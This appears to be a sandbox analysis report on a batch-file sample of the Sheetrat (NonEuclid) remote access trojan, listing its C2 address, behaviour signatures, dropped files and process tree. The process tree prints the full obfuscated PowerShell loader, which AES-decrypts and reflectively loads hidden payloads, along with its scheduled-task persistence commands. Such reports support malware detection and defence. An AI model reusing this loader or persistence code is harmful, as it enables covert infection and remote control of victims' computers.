Analysis

  • max time kernel
    5s
  • max time network
    42s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/10/2026, 14:06

General

  • Target
    Client.bat
  • Size 619KB
  • Sample261002-rel83ssvdy
  • SHA256 cad2fc64b6c71db259564cac4dbfe8fc59f3cb0a75845a9858c1eaa1d1ddcb39
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • sheetrat

Version
  • 2.6.4

Campaign
  • Sheet_wvnkneyyxn

C2
  • 31.76.11.162:2000

Signatures

  • Family: Sheetrat, NonEuclid rat

    Sheetrat aka NonEuclid RAT is a trojan written in C#.

  • Detects Sheetrat obfuscated V1.8 and higher 1 IoCs

    Sheetrat aka NonEuclid RAT is a trojan written in C#.

  • Detects Sheetrat obfuscated version 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5860
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5664
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:4340
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tqehy/OPA64ZDSVWWJUmSdIdYcGDoDtwRxo/3Em4F6Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1Xivw9y02RH5V4guJYoM3Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $iugDO=New-Object System.IO.MemoryStream(,$param_var); $nahbO=New-Object System.IO.MemoryStream; $rXcmw=New-Object System.IO.Compression.GZipStream($iugDO, [IO.Compression.CompressionMode]::Decompress); $rXcmw.CopyTo($nahbO); $rXcmw.Dispose(); $iugDO.Dispose(); $nahbO.Dispose(); $nahbO.ToArray();}function execute_function($param_var,$param2_var){ $TueZj=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vjBbz=$TueZj.EntryPoint; $vjBbz.Invoke($null, $param2_var);}$FPgRa = 'C:\Users\Admin\AppData\Local\Temp\Client.bat';$host.UI.RawUI.WindowTitle = $FPgRa;$IcdfV=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FPgRa).Split([Environment]::NewLine);foreach ($LyzSO in $IcdfV) { if ($LyzSO.StartsWith(':: ')) { $yKaee=$LyzSO.Substring(3); break; }}$payloads_var=[string[]]$yKaee.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:612
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_248_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_248.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Enumerates connected drives
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5840
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_248.vbs"
          3⤵
          • Executes a VBScript file via the Windows Script Host.
          • Suspicious use of WriteProcessMemory
          PID:4148
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_248.bat" "
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1644
            • C:\Windows\system32\net.exe
              net file
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:428
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 file
                6⤵
                  PID:5320
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tqehy/OPA64ZDSVWWJUmSdIdYcGDoDtwRxo/3Em4F6Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1Xivw9y02RH5V4guJYoM3Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $iugDO=New-Object System.IO.MemoryStream(,$param_var); $nahbO=New-Object System.IO.MemoryStream; $rXcmw=New-Object System.IO.Compression.GZipStream($iugDO, [IO.Compression.CompressionMode]::Decompress); $rXcmw.CopyTo($nahbO); $rXcmw.Dispose(); $iugDO.Dispose(); $nahbO.Dispose(); $nahbO.ToArray();}function execute_function($param_var,$param2_var){ $TueZj=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vjBbz=$TueZj.EntryPoint; $vjBbz.Invoke($null, $param2_var);}$FPgRa = 'C:\Users\Admin\AppData\Roaming\startup_str_248.bat';$host.UI.RawUI.WindowTitle = $FPgRa;$IcdfV=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FPgRa).Split([Environment]::NewLine);foreach ($LyzSO in $IcdfV) { if ($LyzSO.StartsWith(':: ')) { $yKaee=$LyzSO.Substring(3); break; }}$payloads_var=[string[]]$yKaee.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                5⤵
                • Command and Scripting Interpreter: PowerShell
                PID:2800
                • C:\Windows\SYSTEM32\CMD.exe
                  "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "RuntimeBroker.exe" /tr "C:\Windows\Sub\RuntimeBroker.exe" & exit
                  6⤵
                  • Executes a command shell one-liner
                  PID:5360
                  • C:\Windows\system32\schtasks.exe
                    SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "RuntimeBroker.exe" /tr "C:\Windows\Sub\RuntimeBroker.exe"
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5016
      • C:\Users\Admin\AppData\Roaming\Sub\xdwdRuntimeBroker.exe
        C:\Users\Admin\AppData\Roaming\Sub\xdwdRuntimeBroker.exe
        1⤵
          PID:3256
        • C:\Windows\Sub\RuntimeBroker.exe
          C:\Windows\Sub\RuntimeBroker.exe
          1⤵
            PID:4092

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                ModuleAnalysisCache

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • Size 67KB
                • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
                • MD5 SHA1 SHA512 SSDEEP TLSH

                ModuleAnalysisCache

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • Size 67KB
                • SHA256 404a4f06df3e2185a039cd6a1696c382f2423285f7b1b23772c7b7184eabcfae
                • MD5 SHA1 SHA512 SSDEEP TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 fd235f2b3dab370c9c762f51ee2474064513ae852dd8e8792e5c98d8ba3002f5
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_au5v4xsq.lx3.psm1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_au5v4xsq.lx3.psm1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                startup_str_248.vbs

                • Path C:\Users\Admin\AppData\Roaming\startup_str_248.vbs
                • Size 115B
                • SHA256 8acc6c79f94d5ea50a02bd7aea5a11072e1680c858c5f1f88e7b4543847b0081
                • MD5 SHA1 SHA512 TLSH

                xdwd.dll

                • Path C:\Windows\xdwd.dll
                • Size 136KB
                • SHA256 7439711d5b9402063393c1b449acf310c58963db13e8658187e49bd01cf1c30f
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/612-10-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                memory/612-8-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                memory/612-0-0x00007FF87934F000-0x00007FF879350000-memory.dmp

                memory/612-11-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                memory/612-12-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                memory/612-13-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                memory/612-14-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                memory/612-15-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                memory/612-16-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                memory/612-18-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                memory/612-17-0x00000163F4700000-0x00000163F4708000-memory.dmp

                memory/612-19-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                memory/612-20-0x00000163F4A90000-0x00000163F4B06000-memory.dmp

                memory/612-9-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                memory/612-3-0x00000163F49E0000-0x00000163F4A02000-memory.dmp

                memory/612-4-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                memory/612-5-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                memory/612-43-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                memory/612-7-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                memory/612-6-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                memory/2800-42-0x000001D06E710000-0x000001D06E7BC000-memory.dmp

                memory/3256-229-0x00007FF8936C0000-0x00007FF8936E2000-memory.dmp

                memory/3256-243-0x000001E8DF150000-0x000001E8DF198000-memory.dmp

                memory/3256-323-0x00007FF8936C0000-0x00007FF8936E2000-memory.dmp

                memory/5840-29-0x00000174FFC60000-0x00000174FFC7E000-memory.dmp

                memory/5840-28-0x00000174FE430000-0x00000174FE43A000-memory.dmp

                memory/5840-27-0x0000017498AF0000-0x0000017498BA2000-memory.dmp

                memory/5840-26-0x0000017498810000-0x000001749882E000-memory.dmp